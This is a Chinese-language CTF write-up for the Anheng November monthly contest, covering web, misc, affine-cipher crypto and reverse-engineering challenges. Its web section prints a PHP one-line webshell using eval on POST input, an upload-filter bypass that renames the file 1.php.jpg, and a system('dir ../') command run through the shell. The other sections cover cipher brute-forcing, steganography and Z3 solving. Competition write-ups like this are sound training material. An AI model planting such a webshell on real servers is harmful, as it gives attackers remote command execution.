安恆十一月月賽writeup
昨天做了一下十一月的題目,不才只做出來幾道
簽到web1
這個是十月的原題,因為忘了截圖所以只能提供思路
Web消息頭包含了登陸框的密碼
輸入密碼后進入上傳頁面,上傳一句話木馬1.jpg,
<?php @eval($_POST['cmd']);?>
使用burp將上傳文件名改為1.php.jpg
然后post數據發現已經getshell
Flag就在上一層目錄里所以post數據:system(‘dir ../’);
得出flag為:flag{698539765730b69026796420b9201e03}
具體可以參考:https://www.jianshu.com/p/e1af7cc3483d
MISC1-Numeric password
題目:
解題過程:
起初並不知道這是啥,然后百度了一下下面的名詞,發現
有點意思,然后進去看看,發現了對應關系,
然后一個一個找出來,其中21世紀就是21,是在其他數字記憶表找到的,72-企鵝……
72 78 67 73 93 67 25 20 69 20 20 70 69 68 67 70 24 21 27 67 27 20 25 27 21 72 26 20 18 20 70 70 67 70 72 23 20 95
然后試着去換成ASCII碼看看,發現
出現了不可顯的ASCII碼,那flag肯定不是這個,既然數字已經給定了,編碼最有可能是凱撒移位
Payload:
寫個腳本爆破一下
exp =[72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,67,27,20,25,27,21,72,26,20,18,20,70,70,67,70,72,23,20,95] flag="" for i in range(1,127): for j in exp: flag+=chr(j+i) print(flag) flag=""
flag為:flag{a72c22dcbad639a92793f8202ddadf52}
MISC2-我的公子在何方
題目:
解題過程:
壓縮包是加密的,打開password,直接輸入提示錯誤。
Base64解一下
讀一下txt內容
他有提示說:其載體圖像是24位的BMP格式圖像
百度一下:載體圖像是24位的BMP格式圖像隱寫工具
下載這個工具
嘗試打開圖片發現需要密碼
然后txt提示:並且密碼是與圖片主人公演繹的劇中相關的人物
百度搜圖
天仙配…其實我根本不知道相關人物是誰,然后百度一下演員表一個一個試吧
發現dongyong就是密碼,
到網站http://tool.oschina.net/encrypt解密,一時看不出這是什么加密,那就一個一個試,
什么也沒,那應該還是加密了…
密碼也不知道是什么,看了題解才知道是dongyong…
Payload:
所以flag為flag{97db6057a9a113c3e0a2bfb188a92698}
CRYPTO2-仿射
題目:
解題過程:
題目已經很明了了,是仿射密碼,所以到網站http://ctf.ssleye.com/affine.html
解一下,已經提示了b=7那這就好辦了,直接爆破a就行
網站也提示了a的取值
在a=9的時候出現了flag
題目要求提交md5所以
Payload:
flag為:flag{e8cb7b46bcf72d62e74100dd19bc63c6}
REVERSE2-Generate
題目:
題目要求輸入一個數字然后給出flag
解題過程:
到ida看一下程序的邏輯
程序剛開始有一個Getinput,跟進看一下
提示輸入信息,輸入到DstBuf,輸入的數是16字節然后轉換為整數,然后傳到int型中
無符號整數v11進入循環,循環32次
V8初始值為0,然后與v11異或,再和異或
疑惑的條件即是判斷v7的范圍是否在@以上Z以下,且不等於”_”,”{“,” }” ,如果不滿足條件提示錯誤退出,意思就是結果是有范圍的,結果在A-Z 和{ } _
接下來的操作是
最后的結果會賦給byte_408040
並且v8會和bayt_404024再次異或,byte_404020為字節
最后每次循環結束都把v11向后移一字節,然后繼續進入循環
然后循環完畢后用start函數檢測一下結果的開頭
Start為
Exp
使用Z3約束解決
X=3658134498
Flag為flag: FLAG{___ZZLOZEZ_Z__AAPHTZIZ____}